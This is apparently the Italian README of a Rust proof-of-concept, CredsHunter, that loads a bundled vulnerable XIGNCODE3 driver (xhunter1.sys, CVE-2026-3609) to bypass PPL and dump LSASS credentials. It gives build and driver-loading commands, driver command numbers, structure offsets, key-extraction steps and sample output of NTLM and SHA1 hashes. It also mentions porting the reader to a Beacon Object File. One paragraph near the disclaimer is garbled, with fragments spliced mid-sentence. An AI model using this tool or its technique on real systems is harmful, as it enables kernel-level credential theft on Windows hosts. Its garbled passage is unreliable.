
PoC per CVE-2026-3609 - perdita di handle di xhunter1.sys di XIGNCODE3 che consente il bypass di PPL e il dump di LSASS
Proof-of-concept di dump delle credenziali LSASS per una leak di handle di processo in grado di bypassare la PPL nel driver anti-cheat XIGNCODE3 di Wellbia, xhunter1.sys.
Il driver espone un'interfaccia di comando IRP_MJ_WRITE che chiama ObOpenObjectByPointer con AccessMode = KernelMode e senza OBJ_KERNEL_HANDLE, depositando un handle PROCESS_ALL_ACCESS generato dal kernel direttamente nella tabella degli handle del chiamante. Da qui, il codice standard di dump delle credenziali legge la chiave 3DES di lsasrv.dll dal processo target e recupera gli hash NTLM + SHA1 per ogni sessione di accesso attiva.
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
Il driver firmato vulnerabile è incluso in questo repository (xhunter1.sys) così che l'exploit sia riproducibile dall'inizio alla fine. Verifica l'hash prima di caricarlo:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
Le versioni più recenti di XIGNCODE3 sono state patchate. Il binario firmato vulnerabile rimane utilizzabile come primitiva BYOVD su qualsiasi host in cui possa essere depositato e caricato.
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
Il binario di release si trova in target\release\CredsHunter.exe.
Carica il driver incluso come servizio kernel (la DACL del dispositivo del driver consente l'accesso a qualsiasi chiamante una volta che è in esecuzione):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
Esegui lo strumento:
.\target\release\CredsHunter.exe
Per pulire in seguito:
sc stop xhunter
sc delete xhunter
Il nome del dispositivo predefinito è \\.\xhunter (corrisponde al nome del servizio di esempio qui sopra). Se il tuo servizio usa un nome diverso, il percorso del dispositivo cambierà di conseguenza — modifica driver::DEFAULT_DEVICE o chiama Xhunter::open_named.
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
Il trait MemReader astrae le letture di memoria così che i moduli di estrazione delle credenziali non dipendano dalla specifica primitiva del driver. Implementa il trait su un reader diverso (ad es. un runtime Beacon Object File, un reader di memoria fisica basato su ptwalk) e i moduli lsa / logon / wdigest si integrano senza modifiche.
48 3B D9 74) ereditato dal PoC pubblico originale e non è stata aggiornata per Windows 11 build 26100+. Svilupparla in una tabella per build è semplice; PR benvenute.xhunter. Se carichi il driver con un nome diverso, modifica driver::DEFAULT_DEVICE o passa un override a Xhunter::open_named.Solo per ricerca, test autorizzati e strumentazione difensiva. Caricare il driver vulnerabile su un sistema di cui non si è proprietari o per il quale non si ha esplicita autorizzazione al test è un reato nella maggior parte delle giurisdizioni. L'autore non si assume alcuna responsabilità per un uso improprio.
Vedi LICENSE.
| Fase | Componente | Cosa succede |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") — nessuna autenticazione sul dispositivo |
| 2 | driver.rs → Xhunter::open_process | WriteFile con comando 785 (PID, PROCESS_ALL_ACCESS). Il driver chiama ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) e scrive l'handle nel buffer di risposta dell'utente all'offset +0x10. L'handle bypassa la PPL perché AccessMode = KernelMode salta il controllo di accesso, e finisce nella nostra tabella degli handle perché OBJ_KERNEL_HANDLE non è impostato. |
| 3 | driver.rs → Session::attach | Sonda ReadProcessMemory sull'handle generato dal kernel. Ripiega sul comando 787 del driver (KeStackAttachProcess + memcpy) se RPM è bloccato. |
| 4 | lsa.rs | Scansiona per pattern il .text di lsasrv.dll locale per recuperare i puntatori RIP-relative alla chiave AES, alla chiave 3DES e all'IV all'interno di LsaInitializeProtectedMemory. Ricalcola quei VA sulla mappatura del processo target, percorre BCRYPT_HANDLE_KEY → BCRYPT_KEY81 ed estrae i byte 3DES grezzi dal target. |
| 5 | logon.rs | Percorre LogonSessionList (tabella firme per build). La credenziale primaria di ogni voce a +credentials → +0x10 → +0x30 contiene un blob crittografato 3DES di 0x1B0 byte. bcrypt.dll lo decritta; i byte 70..86 sono l'hash NT, 102..122 sono lo SHA1. |